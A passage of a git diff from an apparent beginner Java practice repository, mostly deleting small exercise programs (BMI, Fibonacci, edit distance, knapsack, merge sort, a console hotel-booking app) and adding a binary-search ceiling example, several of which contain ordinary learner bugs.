if(ans>=maxw) - - System.out.println("YES"); - - else - - System.out.println("NO"); - - } - - - - t--; - - } - - } - -} - diff --git a/Add Code Here/JAVA/bmi.java b/Add Code Here/JAVA/bmi.java deleted file mode 100644 index 114e8e37689..00000000000 --- a/Add Code Here/JAVA/bmi.java +++ /dev/null @@ -1,13 +0,0 @@ -import java.util.Scanner; -public class bmi{ - public static void main(String args[]) { - Scanner scan = new Scanner(System.in); - System.out.print("Pounds: "); - double pounds = scan.nextDouble(); - System.out.print("\nInches: "); - double height = scan.nextDouble(); - double bmi = pounds/height/height*703; - String round = String.format("%.2f", bmi); - System.out.print("\nBMI: "+round+" kg/m2"); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/ceilingOfNo.java b/Add Code Here/JAVA/ceilingOfNo.java new file mode 100644 index 00000000000..66183c4762d --- /dev/null +++ b/Add Code Here/JAVA/ceilingOfNo.java @@ -0,0 +1,42 @@ + + +public class ceilingOfNo { + + public static void main(String[] args) { + + + // Given is a sorted array + int[] arr ={2,3,4,6,8,9,11,14,15,17,19,22,49,68}; + int target=55; + int ans = search(arr, target); + System.out.println(ans); + + } + + static int search(int[] arr,int target){ + + int start=0; + int end =arr.length-1 ; + + while(start<=end){ + // int middle = (start+end)/2 + + // Here if (start +end) has very big value it may exceeds the int range in java therefore we simplify the code + + int middle=start +(end-start)/2 ; + + if(targetarr[middle]){ + start=middle+1; + } + else{ + return middle; + } + } + return arr[start]; + + } + +} diff --git a/Add Code Here/JAVA/diagonalDifference.java b/Add Code Here/JAVA/diagonalDifference.java deleted file mode 100644 index 6bba569a245..00000000000 --- a/Add Code Here/JAVA/diagonalDifference.java +++ /dev/null @@ -1,61 +0,0 @@ -import java.io.*; -import java.util.*; -import java.util.stream.*; -import static java.util.stream.Collectors.toList; - -class Result { - - /* - * Complete the 'diagonalDifference' function below. - * - * The function is expected to return an INTEGER. - * The function accepts 2D_INTEGER_ARRAY arr as parameter. - */ - - public static int diagonalDifference(List> arr) { - int diagonalOne = 0; - int diagonalTwo = 0; - for (int i=0; i> arr = new ArrayList<>(); - - IntStream.range(0, n).forEach(i -> { - try { - arr.add( - Stream.of(bufferedReader.readLine().replaceAll("\\s+$", "").split(" ")) - .map(Integer::parseInt) - .collect(toList()) - ); - } catch (IOException ex) { - throw new RuntimeException(ex); - } - }); - - int result = Result.diagonalDifference(arr); - - bufferedWriter.write(String.valueOf(result)); - bufferedWriter.newLine(); - - bufferedReader.close(); - bufferedWriter.close(); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/dieBahn/Train.java b/Add Code Here/JAVA/dieBahn/Train.java deleted file mode 100644 index 3f866b04366..00000000000 --- a/Add Code Here/JAVA/dieBahn/Train.java +++ /dev/null @@ -1,72 +0,0 @@ -/** -* Small object oriented program in the form of a train and wagon, based on the concept of pointers -* A new train has no wagons -* Wagons can be added or removed from the train using the methods provided -* Each wagon has a reference to its nextWagon, and can be referred to only from its predecessor -*/ - -public class Train { - - public Wagon firstWagon; - - public Train() { - firstWagon = null; - } - - - /** - * Attaches a new wagon to the train - */ - - public void attachWagon(Wagon newWagon) { - - if (newWagon == null) { // the wagon must exist - throw new IllegalArgumentException("Wagon does not exist!"); - } else if (firstWagon == null) { // if the train doesn't yet have a wagon - firstWagon = newWagon; - } - - // checks if each wagon has a successor. If not, attach new wagon - Wagon currentWagon = firstWagon; - - while (currentWagon != null) { // as long as the train has at least one wagon - if (currentWagon.nextWagon == null) { - currentWagon.nextWagon = newWagon; - } else { - currentWagon = currentWagon.nextWagon; // else, point to next wagon and continue search - } - } - } - - /** - * Removes a wagon from the train - */ - - - public boolean removeWagon(Wagon wagen) { - if (wagen == null) { // the wagon must exist - throw new IllegalArgumentException("Wagon does not exist"); - } - if (firstWagon == null) { // checks if the wagon is part of the train - throw new IllegalArgumentException("Wagon not found on train"); - } - Wagon currentWagon = firstWagon; - Wagon predecessor = null; - - while (currentWagon != null) { - - if (currentWagon == wagen) { - if (predecessor == null) { // if first wagon - firstWagon = firstWagon.nextWagon; // remove wagon and bring next wagon forward - } else { - predecessor.nextWagon = currentWagon.nextWagon; - } - return true; - } else { - predecessor = currentWagon; - currentWagon = currentWagon.nextWagon; // continue the search - } - } - return false; - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/dieBahn/Wagon.java b/Add Code Here/JAVA/dieBahn/Wagon.java deleted file mode 100644 index c8098f54ba4..00000000000 --- a/Add Code Here/JAVA/dieBahn/Wagon.java +++ /dev/null @@ -1,14 +0,0 @@ -public class Wagon { - private String id; - public Wagon nextWagon; - - public Wagon() { - char random = (char) (Math.random() * 100); - String id = String.valueOf(random); - Wagon nextWagon = null; - } - public String getId() { - return id; - } - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/dynamicstackclient.java b/Add Code Here/JAVA/dynamicstackclient.java deleted file mode 100644 index 5abf89c62f2..00000000000 --- a/Add Code Here/JAVA/dynamicstackclient.java +++ /dev/null @@ -1,19 +0,0 @@ -package stackandqueue; - -public class dynamicstackclient { - - public static void main(String[] args) throws Exception { - // TODO Auto-generated method stub - dynamicstack st = new dynamicstack(5); - st.push(5); - st.push(4); - st.push(3); - st.push(2); - st.push(1); - st.push(-1); - st.push(-2); - st.push(-3); - st.display(); - } - -} diff --git a/Add Code Here/JAVA/editdistance.java b/Add Code Here/JAVA/editdistance.java deleted file mode 100644 index 791b8a4c906..00000000000 --- a/Add Code Here/JAVA/editdistance.java +++ /dev/null @@ -1,42 +0,0 @@ -package loveBubberQuestionSeries; - -public class EditDistance { - - public static void main(String[] args) { - - String s = "abc"; - String t = "abd"; - - - - - - int arr[][] = new int[s.length()+1][t.length()+1]; - - for(int i = 0; i<=s.length(); i++) { - for(int j = 0; j<=t.length(); j++) { - - if(i == 0) arr[i][j] = j; - else if - (j == 0) arr[i][j] = i; - else if - (s.charAt(i-1) == t.charAt(j-1)) { - arr[i][j] = arr[i-1][j-1]; - - }else{ - int a = Math.min(arr[i-1][j], arr[i][j-1]); - int b = Math.min(a, arr[i-1][j-1]); - arr[i][j] = b+1; - } - - - } - } - - System.out.println(arr[s.length()][t.length()]); - - } - - - -} diff --git a/Add Code Here/JAVA/equilateralTriangle.java b/Add Code Here/JAVA/equilateralTriangle.java deleted file mode 100644 index 282003da4f3..00000000000 --- a/Add Code Here/JAVA/equilateralTriangle.java +++ /dev/null @@ -1,41 +0,0 @@ -import java.io.*; - - -public class equilateralTriangle -{ - - public static void printTriangle(int n) - { - - - for (int i=0; i1; j--) - { - - System.out.print(" "); - } - - - - for (int j=0; j<=i; j++ ) - { - - System.out.print("* "); - } - - - System.out.println(); - } - } - - - public static void main(String args[]) - { - int n = 5; - printTriangle(n); - } -} diff --git a/Add Code Here/JAVA/factorialBigno.java b/Add Code Here/JAVA/factorialBigno.java deleted file mode 100644 index 84674e29efd..00000000000 --- a/Add Code Here/JAVA/factorialBigno.java +++ /dev/null @@ -1,33 +0,0 @@ -package array; - -public class factorialBigno { - - public static void main(String[] args) { - // TODO Auto-generated method stub - fact(5); - - } - - public static void fact(int n) { - int[] arr = new int[1000]; - int carry = 0; - arr[0] = 1; - int nod = 1; - for (int i = 1; i <= n; i++) { - for (int j = 0; j < nod; j++) { - int mult = i * arr[j] + carry; - arr[j] = mult % 10; - carry = mult / 10; - } - while (carry > 0) { - arr[nod] = carry % 10; - carry = carry / 10; - nod++; - } - } - - for (int i = nod - 1; i >= 0; i--) { - System.out.print(arr[i]); - } - } -} diff --git a/Add Code Here/JAVA/fibonacci.java b/Add Code Here/JAVA/fibonacci.java deleted file mode 100644 index 6808cc45b3a..00000000000 --- a/Add Code Here/JAVA/fibonacci.java +++ /dev/null @@ -1,15 +0,0 @@ -public class fibonacci{ - public static void main(String[] args) { - - int limit = 20; - long[]series = new long[limit]; - series[0]=0; - series[1]=1; - for (int i=2;i 0;T--){ - - int n = ni(), m = ni(); - - int W = ni(), H = ni(); - - char[] s = ns(n); - - int[][] co = new int[m][]; - - for(int i = 0;i < m;i++){ - - co[i] = na(2); - - } - - long min = Long.MAX_VALUE; - - for(int i = 0;i < m;i++){ - - for(int j = i+1;j < m;j++){ - - min = Math.min(min, - - (long)(co[i][0]-co[j][0])*(co[i][0]-co[j][0]) - - + - - (long)(co[i][1]-co[j][1])*(co[i][1]-co[j][1]) - - ); - - } - - } - - long lw = W, rw = W; - - long uh = H, dh = H; - - for(int i = 0;i < m;i++){ - - lw = Math.min(lw, co[i][0]); - - rw = Math.min(rw, W-co[i][0]); - - dh = Math.min(dh, co[i][1]); - - uh = Math.min(uh, H-co[i][1]); - - } - - for(int i = n-1;i >= 0;i--){ - - if(s[i] == 'D'){ - - min = Math.min(min, (2*dh)*(2*dh)); - - dh = uh; - - }else if(s[i] == 'U'){ - - min = Math.min(min, (2*uh)*(2*uh)); - - uh = dh; - - }else if(s[i] == 'R'){ - - min = Math.min(min, (2*rw)*(2*rw)); - - rw = lw; - - }else if(s[i] == 'L'){ - - min = Math.min(min, (2*lw)*(2*lw)); - - lw = rw; - - } - - } - - out.printf("%.14f\n", Math.sqrt(min)); - - } - - } - - - - void run() throws Exception - - { - - is = INPUT.isEmpty() ? System.in : new ByteArrayInputStream(INPUT.getBytes()); - - out = new PrintWriter(System.out); - - - - long s = System.currentTimeMillis(); - - solve(); - - out.flush(); - - if(!INPUT.isEmpty())tr(System.currentTimeMillis()-s+"ms"); - - } - - - - public static void main(String[] args) throws Exception { new PAPER().run(); } - - - - private byte[] inbuf = new byte[1024]; - - public int lenbuf = 0, ptrbuf = 0; - - private int readByte() - - { - - if(lenbuf == -1)throw new InputMismatchException(); - - if(ptrbuf >= lenbuf){ - - ptrbuf = 0; - - try { lenbuf = is.read(inbuf); } catch (IOException e) { throw new InputMismatchException(); } - - if(lenbuf <= 0)return -1; - - } - - return inbuf[ptrbuf++]; - - } - - - - private boolean isSpaceChar(int c) { return !(c >= 33 && c <= 126); } - - private int skip() { int b; while((b = readByte()) != -1 && isSpaceChar(b)); return b; } - - - - private double nd() { return Double.parseDouble(ns()); } - - private char nc() { return (char)skip(); } - - - - private String ns() - - { - - int b = skip(); - - StringBuilder sb = new StringBuilder(); - - while(!(isSpaceChar(b))){ // when nextLine, (isSpaceChar(b) && b != ' ') - - sb.appendCodePoint(b); - - b = readByte(); - - } - - return sb.toString(); - - } - - - - private char[] ns(int n) - - { - - char[] buf = new char[n]; - - int b = skip(), p = 0; - - while(p < n && !(isSpaceChar(b))){ - - buf[p++] = (char)b; - - b = readByte(); - - } - - return n == p ? buf : Arrays.copyOf(buf, p); - - } - - - - private char[][] nm(int n, int m) - - { - - char[][] map = new char[n][]; - - for(int i = 0;i < n;i++)map[i] = ns(m); - - return map; - - } - - - - private int[] na(int n) - - { - - int[] a = new int[n]; - - for(int i = 0;i < n;i++)a[i] = ni(); - - return a; - - } - - - - private int ni() - - { - - int num = 0, b; - - boolean minus = false; - - while((b = readByte()) != -1 && !((b >= '0' && b <= '9') || b == '-')); - - if(b == '-'){ - - minus = true; - - b = readByte(); - - } - - - - while(true){ - - if(b >= '0' && b <= '9'){ - - num = num * 10 + (b - '0'); - - }else{ - - return minus ? -num : num; - - } - - b = readByte(); - - } - - } - - - - private long nl() - - { - - long num = 0; - - int b; - - boolean minus = false; - - while((b = readByte()) != -1 && !((b >= '0' && b <= '9') || b == '-')); - - if(b == '-'){ - - minus = true; - - b = readByte(); - - } - - - - while(true){ - - if(b >= '0' && b <= '9'){ - - num = num * 10 + (b - '0'); - - }else{ - - return minus ? -num : num; - - } - - b = readByte(); - - } - - } - - - - private void tr(Object... o) { if(INPUT.length() > 0)System.out.println(Arrays.deepToString(o)); } - -} - - - diff --git a/Add Code Here/JAVA/frequency_sort.java b/Add Code Here/JAVA/frequency_sort.java deleted file mode 100644 index 96aebbb8a39..00000000000 --- a/Add Code Here/JAVA/frequency_sort.java +++ /dev/null @@ -1,87 +0,0 @@ -import java.util.*; -import java.lang.*; -import java.io.*; -class Element implements Comparable -{ - int value; - int count; - public Element(int value,int count) - { - this.value=value; - this.count=count; - } - public int compareTo(Element e) - { - if(this.count>e.count) - { - return -1; - } - else if(this.count0) - { - int n = scanner.nextInt(); - int array[] = new int[n]; - for(int i=0;i h = new HashMap<>(); - for(int i=0;i list = new ArrayList<>(); - for(int key:h.keySet()) - { - int value = h.get(key); - list.add(new Element(key,value)); - } - Collections.sort(list); - for(int i=0;i (Type.length/2)) - { - System.out.println("Room " + (i + 1)); - room = i; - } - } - } - System.out.println("We have assigned room " + (room + 1) + " for you"); - System.out.println("Let us now proceed to the registration"); - } - public boolean[] randomFiller(boolean A[]) - { - for (int i = 0; i < A.length; i++) - { - int rand = (int)(Math.random() + 0.5); - if (rand == 1) - A[i] = true; - else if (rand == 0) - A[i] = false; - } - return A; - } - void registration() - { - System.out.println(); - System.out.println(" ___________________________________________________"); - System.out.println(" REGISTRATION "); - System.out.println(" ''''''''''''''"); - System.out.println(" ___________________________________________________"); - System.out.println(" "); - System.out.print("Name : "); - name = sc.nextLine(); - System.out.print("Gender : "); - gen = sc.nextLine(); - System.out.print("Residential Address : "); - add = sc.nextLine(); - System.out.print("Occupation : "); - occp = sc.nextLine(); - System.out.print("Purpose of visit : "); - pur = sc.nextLine(); - System.out.print("Number of rooms booked : "); - no = sc.nextInt(); - System.out.print("Total number of adults : "); - adults = sc.nextInt(); - System.out.print("Total number of children(below 18) : "); - child = sc.nextInt(); - System.out.println("THANK YOU!!! "); - System.out.println("Do you wish to complementary breakfast (yes/no)? "); - sc.nextLine(); - String bk = sc.nextLine(); - breakfast = bk.equalsIgnoreCase("yes"); - } - public void billCalc() - { - int rate = 0; - if(rname.equals("King Suite")) - rate = 8000; - else if(rname.equals("Queen Suite")) - rate = 5000; - else if(rname.equals("AC Deluxe")) - rate = 3000; - else if(rname.equals("Non-Ac Deluxe")) - rate = 2500; - int add = 0, rent = rate * days; - if(adults > (no*2)) - add = 200 * days; - if(child > (no)) - add += 100 * days; - if(breakfast) - { - add += days * (adults + child) * 200; - } - int gross = rent + add; - display(gross); - } - void display(int n) - { - System.out.println(); - System.out.println(" ___ "); - System.out.println(" |__) * | |"); - System.out.println(" |__) | |_ |_"); - System.out.println(); - System.out.println(" HOTEL RED STAR "); - System.out.println(" ^^^^^^^^^^^^^^^^^^^ "); - System.out.println(); - System.out.println("Room type: " + rname); - System.out.println("Room number= " + room); - System.out.println("Customer name: " + name); - System.out.println("Total number of people= " + (adults+child)); - System.out.println("Date of check-in: " + date); - System.out.println("Days stayed= " + days); - System.out.println(); - System.out.println("Gross amount= " + n); - double servtax = (5.0/100)*n; - double vat = (14.5/100)*(servtax+n); - bill = servtax + vat + n; - System.out.println("Taxes= " + vat); - System.out.println("Net amount= " + bill); - System.out.println(); - System.out.println("Please enter mode of payment: "); - String mode = sc.nextLine(); - System.out.println("THANK YOU!!"); - } -} - -class RoomDescript -{ - /** - * Will contain the descriptions of the rooms. When the user inputs his choice, a description will be available, - * which will be accessible through this class. - */ - static Scanner sc = new Scanner(System.in); - static boolean King() - { - boolean a = false; - System.out.println("KING SUITE"); - System.out.println(" "); - System.out.println("The King Suite is for the very best of our guests. With world class "); - System.out.println("features, and excellent room dedor, this room is nothing short of "); - System.out.println("perfection, which is desired by many. The room is spacy, and the "); - System.out.println("cosiness of it makes one feel at home, albeit a more comfortable and "); - System.out.println("more exqi=uisite one. We assure you, if this shall be your choice, you "); - System.out.println("shall regret the day of your departure."); - System.out.println(" "); - System.out.println("Features"); - System.out.println("^^^^^^^^^"); - System.out.println(" "); - System.out.println("> 350X200 ft. room, large,spacy and comfortable"); - System.out.println("> A gigantic Double-bed, with Spektron-technology custom made "); - System.out.println("mattress, for a good night's sleep."); - System.out.println("> Air-conditioned, with two split A/Cs."); - System.out.println("> A 42-inch LG Smart TV"); - System.out.println("> Two large sofas, a bedside table, and a coffee table"); - System.out.println("> A long balcony, with a stunning view of the Juche Tower, as well as the "); - System.out.println("rest of Pyongyang."); - System.out.println("> A mini-bar,with an assortment of the finest elixirs of Korea."); - System.out.println("> A huge bathroom, fit for a king."); - System.out.println(" "); - System.out.println("The cost of this room(exclusive of taxes) is = Rs. 8000/day."); - System.out.println(" "); - System.out.println(" "); - System.out.println(" "); - System.out.println(" "); - System.out.println("Do you want to choose this type?"); - System.out.println("Enter 'yes' to book, or 'no' to go back to the menu:"); - if(sc.nextLine().equalsIgnoreCase("yes")) - a = true; - System.out.println(" "); - return a; - } - static boolean Queen() - { - boolean a = false; - System.out.println("QUEEN SUITE"); - System.out.println(" "); - System.out.println("The Queen Suite has an extra touch of comfort. The features available "); - System.out.println("are generally associated with cosy lifestyle. The rooms are such made "); - System.out.println("that we assure you that you shall have no problem in blending in with "); - System.out.println("the feel of it. The atmosphere created by this room is a calm and "); - System.out.println("peaceful one, in contrast to the loudness of the King Suite. If a quiet "); - System.out.println("stay is what you desire, we take pleasure in welcoming you to the "); - System.out.println("grandeur of this room."); - System.out.println(" "); - System.out.println("Features"); - System.out.println("^^^^^^^^^"); - System.out.println(" "); - System.out.println("> 320X220 ft. room, cosy with a home made feel."); - System.out.println("> A perfectly home-like double bed, with a plush Kamarov-protocol "); - System.out.println("custom made matress."); - System.out.println("> Air-conditioned, with a split A/C and a bedside A/C."); - System.out.println("> A 42 inch LG Smart TV."); - System.out.println("> Two large sofas, two bedside tables."); - System.out.println("> A round balcony, with a spectacular view of Pyongyang."); - System.out.println("> A wine counter, with vintage wines of Korea."); - System.out.println("> A cosy, marble-and-graphite bathroom."); - System.out.println(" "); - System.out.println("The cost for this room(exclusive of taxes) is = Rs. 5000/day"); - System.out.println(" "); - System.out.println(" "); - System.out.println(" "); - System.out.println("Do you want to choose this type?"); - System.out.println("Enter 'yes' to book, or 'no' to go back to the menu: "); - if(sc.nextLine().equalsIgnoreCase("yes")) - a = true; - System.out.println(" "); - return a; - } - static boolean AC() - { - boolean a = false; - System.out.println("A/C DELUXE"); - System.out.println(" "); - System.out.println("The A/C Deluxe is the standard room for our hotel. With an affordable "); - System.out.println("price, and unbelievable comfort, the rooms will exceed your "); - System.out.println("expectations. The ambience is a very tourist-friendly one, and the room "); - System.out.println("will surely make your stay at Hotel Red Star, a very memorable one. "); - System.out.println(" "); - System.out.println("Features"); - System.out.println("^^^^^^^^^"); - System.out.println(" "); - System.out.println("> 200X150 ft. room, fully air-conditioned."); - System.out.println("> Choice of single or double bed, with a soft, comfortable mattress. "); - System.out.println("> A 32 inch LG LED TV."); - System.out.println("> A large sofa, centre table, bedside table."); - System.out.println("> A balcony, with a spectacular view of Pyongyang."); - System.out.println("> A well furnished bathroom."); - System.out.println(" "); - System.out.println("The cost for this room(exclusive of taxes) is = Rs. 3000/day"); - System.out.println(" "); - System.out.println(" "); - System.out.println(" "); - System.out.println("Do you want to choose this type?"); - System.out.println("Enter 'yes' to book, or 'no' to go back to the menu: "); - if(sc.nextLine().equalsIgnoreCase("yes")) - a = true; - System.out.println(" "); - return a; - } - static boolean Non() - { - boolean a = false; - System.out.println("NON A/C DELUXE"); - System.out.println(" "); - System.out.println("Don't like canned air? Feeling natural? Don't worry! Hotel Red Star "); - System.out.println("offers you a special Non A/C Deluxe Suite with open windows to enjoy "); - System.out.println("the scenic beauty of Korea. The air here is as fresh as it can be, and the "); - System.out.println("natural way of life will surely make you feel like a part of Korea. "); - System.out.println(" "); - System.out.println("Features"); - System.out.println("^^^^^^^^^"); - System.out.println(" "); - System.out.println("> 150X150 ft. room."); - System.out.println("> Four large openable windows. "); - System.out.println("> Choice of single or double bed, with a soft, comfortable mattress."); - System.out.println("> A 32 inch LG LED TV."); - System.out.println("> A large sofa, centre table, bedside table."); - System.out.println("> A balcony, with a spectacular view of Pyongyang."); - System.out.println("> A well furnished bathroom."); - System.out.println(" "); - System.out.println("The cost for this room(exclusin=ve of taxes) is = Rs. 2500/day"); - System.out.println(" "); - System.out.println(" "); - System.out.println(" "); - System.out.println("Do you want to choose this type?"); - System.out.println("Enter 'yes' to book, or 'no' to go back to the menu: "); - if(sc.nextLine().equalsIgnoreCase("yes")) - a = true; - System.out.println(" "); - return a; - } - } diff --git a/Add Code Here/JAVA/knapSack_01.java b/Add Code Here/JAVA/knapSack_01.java deleted file mode 100644 index f5eee49c39c..00000000000 --- a/Add Code Here/JAVA/knapSack_01.java +++ /dev/null @@ -1,35 +0,0 @@ -import java.util.Arrays; - -public class knapSack_01 { - public static int findMaxProfit(int totalWeight,int profit[], int weight[],int dp[][]) - { - for(int i=1;i<=profit.length;i++) - { - for(int j=1;j<=totalWeight;j++) - { - int excluding=dp[i-1][j]; - int including=0; - int currentWeight=weight[i-1]; - if(j>=currentWeight) - { - including+=dp[i-1][j-currentWeight]+profit[i-1]; - } - dp[i][j]=Math.max(excluding,including); - } - } - return dp[profit.length][totalWeight]; - } - public static int Profit(int totalWeight,int profit[], int weight[],int length) - { - int dp[][]=new int[length+1][totalWeight+1]; - return findMaxProfit(totalWeight, profit, weight, dp); - - } - public static void main(String[] args) { - int profit[]={20,30,10,50}; - int weight[]={1,3,4,6}; - int length=4; - int totalWeight=10; - System.out.println(Profit(totalWeight, profit, weight,length)); - } -} diff --git a/Add Code Here/JAVA/krishnamurthynumber.java b/Add Code Here/JAVA/krishnamurthynumber.java deleted file mode 100644 index f1ee0fbb458..00000000000 --- a/Add Code Here/JAVA/krishnamurthynumber.java +++ /dev/null @@ -1,44 +0,0 @@ - -import java.util.Scanner; - -class krishnamurthynumber { - - static int fact(int number) { - int f = 1; - while (number != 0) { - f = f * number; - number--; - } - return f; - } - - static boolean checkNumber(int number) { - int sum = 0; - - int tempNumber = number; - while (tempNumber != 0) { - - sum = sum + fact(tempNumber % 10); - - tempNumber = tempNumber / 10; - } - - if (sum == number) - return true; - else - return false; - } - - public static void main(String[] args) { - int n; - Scanner sc = new Scanner(System.in); - - System.out.println("Enter any number:"); - s n = sc.nextInt(); - - if (checkNumber(n)) - System.out.println(n + " is a krishnamurthy number"); - else - System.out.println(n + "is not a krishnamurthy number"); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/longestpossibleroute.java b/Add Code Here/JAVA/longestpossibleroute.java deleted file mode 100644 index 819970d6aa6..00000000000 --- a/Add Code Here/JAVA/longestpossibleroute.java +++ /dev/null @@ -1,37 +0,0 @@ -package backtracking; - -public class longestpossibleroute { - - public static void main(String[] args) { - // TODO Auto-generated method stub - int mat[][] = { { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 }, { 1, 1, 0, 1, 1, 0, 1, 1, 0, 1 }, - { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 } }; - solve(mat, 0, 0, 0, 1, 7); - System.out.println(max); - - } - - public static int max = Integer.MIN_VALUE; - - public static void solve(int[][] arr, int ans, int i, int j, int di, int dj) { - if (j == dj && i == di) { - if (max < ans) { - max = ans; - } - return; - } - - if (i < 0 || j < 0 || i >= arr.length || j >= arr[0].length || arr[i][j] == 0 || arr[i][j] == -1) { - return; - } - - int[] rx = { 1, -1, 0, 0 }; - int[] ry = { 0, 0, 1, -1 }; - arr[i][j] = -1; - for (int k = 0; k < ry.length; k++) { - solve(arr, ans + 1, i + rx[k], j + ry[k], di, dj); - } - arr[i][j] = 1; - } - -} diff --git a/Add Code Here/JAVA/maximumSubarray.java b/Add Code Here/JAVA/maximumSubarray.java deleted file mode 100644 index f2a98174292..00000000000 --- a/Add Code Here/JAVA/maximumSubarray.java +++ /dev/null @@ -1,20 +0,0 @@ -// problem link is : https://leetcode.com/problems/maximum-subarray/ - -class Solution { - public int maxSubArray(int[] nums) { - int max=nums[0]; - int sum=0; - for(int i=0;i sum2) ? pre1 : pre2; - - // If pre1 and pre2 don't contain the head references of - // lists adjust the next pointers of previous pointers. - else - { - if (sum1 > sum2) - pre2.next = pre1.next; - else - pre1.next = pre2.next; - } - - // Adjusting previous pointers - pre1 = curr1; - pre2 = curr2; - - // If curr1 is not NULL move to the next. - if (curr1 != null) - curr1 = curr1.next; - - // If curr2 is not NULL move to the next. - if (curr2 != null) - curr2 = curr2.next; - } - - while (result != null) - { - System.out.print(result.data + " "); - result = result.next; - } - System.out.println(); - } - - /* Inserts a node at start of linked list */ - void push(int new_data) - { - /* 1 & 2: Allocate the Node & - Put in the data*/ - Node new_node = new Node(new_data); - - /* 3. Make next of new Node as head */ - new_node.next = head; - - /* 4. Move the head to point to new Node */ - head = new_node; - } - - - /* Driver program to test above functions */ - public static void main(String args[]) - { - LinkedList llist1 = new LinkedList(); - LinkedList llist2 = new LinkedList(); - - //Linked List 1 : 1->3->30->90->110->120->NULL - //Linked List 2 : 0->3->12->32->90->100->120->130->NULL - - llist1.push(120); - llist1.push(110); - llist1.push(90); - llist1.push(30); - llist1.push(3); - llist1.push(1); - - llist2.push(130); - llist2.push(120); - llist2.push(100); - llist2.push(90); - llist2.push(32); - llist2.push(12); - llist2.push(3); - llist2.push(0); - - llist1.finalMaxSumList(llist1.head, llist2.head); - } -} diff --git a/Add Code Here/JAVA/mcolouring.java b/Add Code Here/JAVA/mcolouring.java deleted file mode 100644 index 93eb0e16a0a..00000000000 --- a/Add Code Here/JAVA/mcolouring.java +++ /dev/null @@ -1,46 +0,0 @@ -package backtracking; - -public class mcolouring { - - public static void main(String[] args) { - // TODO Auto-generated method stub - int[][] adj = { { 0, 1, 1 }, { 1, 0, 1 }, { 1, 1, 0 } }; - System.out.println(color(adj, 0, 4, new int[adj.length])); - - } - - public static boolean color(int[][] adj, int src, int m, int[] nbrcolr) { - // each vertex has been coloured - if (src == adj.length) { - return true; - } - - // now give the colour to the src - for (int i = 1; i <= m; i++) { - if (check(adj, src, i, nbrcolr)) { - nbrcolr[src] = i; - if (color(adj, src + 1, m, nbrcolr)) { - return true; - } - nbrcolr[src] = 0; - } - - } - - return false; - - } - - private static boolean check(int[][] adj, int src, int col, int[] nbrcolr) { - - for (int j = 0; j < adj.length; j++) { - if (adj[src][j] == 1 && nbrcolr[j] == col) { - return false; - } - } - - return true; - - } - -} diff --git a/Add Code Here/JAVA/merge_sort.java b/Add Code Here/JAVA/merge_sort.java deleted file mode 100644 index 193c2e1f305..00000000000 --- a/Add Code Here/JAVA/merge_sort.java +++ /dev/null @@ -1,73 +0,0 @@ -//Merge Sort Java Program - -package mergesortjavaprogram; - -import java.util.Scanner; - - -public class MergeSortJavaProgram { - - public static void merge(int a[], int l, int m, int h) { - int i, j, c = l; - int b[] = new int[h + 1]; - - for (i = l, j = m + 1; i <= m && j <= h; c++) { - - if (a[i] <= a[j]) { - b[c] = a[i++]; - } else { - b[c] = a[j++]; - } - } - while (i <= m) { - b[c++] = a[i++]; - } - - while (j <= h) { - b[c++] = a[j++]; - } - - for (i = l; i <= h; i++) { - a[i] = b[i]; - } - } - - public static void Sort(int a[], int l, int h) { - if (l < h) { - int m = (l + h) / 2; - Sort(a, l, m); - Sort(a, m + 1, h); - merge(a, l, m, h); - - } - - } - - public static void printarray(int a[]) { - for (int i = 0; i < a.length; i++) { - - System.out.print(a[i] + " "); - } - - } - - public static void main(String[] args) { - int n, res, i; - Scanner s = new Scanner(System.in); - System.out.print("Enter number of elements in the array:"); - n = s.nextInt(); - int a[] = new int[n]; - System.out.println("Enter " + n + " elements "); - for (i = 0; i < n; i++) { - a[i] = s.nextInt(); - } - - System.out.println("elements in array "); - printarray(a); - Sort(a, 0, n - 1); - System.out.println("\nelements after sorting"); - printarray(a); - - } - -} diff --git a/Add Code Here/JAVA/numberRightAngleTriangle.java b/Add Code Here/JAVA/numberRightAngleTriangle.java deleted file mode 100644 index 3273cebe3ae..00000000000 --- a/Add Code Here/JAVA/numberRightAngleTriangle.java +++ /dev/null @@ -1,40 +0,0 @@ -import java.io.*; - - -public class GeeksForGeeks -{ - - public static void printNums(int n) - { - int i, j,num; - - - - for(i=0; i= 0) { - double dleng = pleng; - double pow = Math.pow(10, dleng); - int ipow = (int) (pow); - rev = ipow * (in % 10); - in = in / 10; - revt = revt + rev; - pleng--; - } - if (revt == x) { - System.out.println("Your number is a palindrome"); - } - if (revt != x) { - System.out.println("Your number is NOT a palindrome"); - } - System.out.println(revt + "," + x); - } -} diff --git a/Add Code Here/JAVA/positivenegativealt.java b/Add Code Here/JAVA/positivenegativealt.java deleted file mode 100644 index ce017776201..00000000000 --- a/Add Code Here/JAVA/positivenegativealt.java +++ /dev/null @@ -1,57 +0,0 @@ -package array; - -public class positivenegativealt { - - public static void main(String[] args) { - // TODO Auto-generated method stub - int[] arr = { -5, -2, 5, 2, 4, 7, 1, 8, 0, -8 }; - posnegalt(arr); - - } - - // if order matters - public static void posnegalt(int[] arr) { - int i = 0; - while (i < arr.length) { - if (i % 2 == 0 && arr[i] >= 0 || i % 2 != 0 && arr[i] < 0) { - int wrongindex = i; - if (i % 2 == 0) { - while (i < arr.length && arr[i] >= 0) { - i++; - } - } else { - while (i < arr.length && arr[i] < 0) { - i++; - } - } - int lastindex = i; - if (lastindex == arr.length) { - break; - } - rotatearr(arr, wrongindex, lastindex); - i = wrongindex + 1; - } else { - i++; - } - - } - - for ( - - int j = 0; j < arr.length; j++) { - System.out.println(arr[j]); - } - - } - - private static void rotatearr(int[] arr, int wrongindex, int lastindex) { - // TODO Auto-generated method stub - int temp = arr[lastindex]; - for (int i = lastindex - 1; i >= wrongindex; i--) { - arr[i + 1] = arr[i]; - } - arr[wrongindex] = temp; - - } - -} diff --git a/Add Code Here/JAVA/print pattern b/Add Code Here/JAVA/print pattern deleted file mode 100644 index 62efdc93376..00000000000 --- a/Add Code Here/JAVA/print pattern +++ /dev/null @@ -1,7 +0,0 @@ -for(int i=0; i= foodAmount) { - break; - } - } - if (foodReq < foodAmount) { - return 0; - } - return count; - } - public static void main(String[] args) { - Scanner sc = new Scanner(System.in); - int r, unit, n; //r = no. of rats, unit=amount of food - 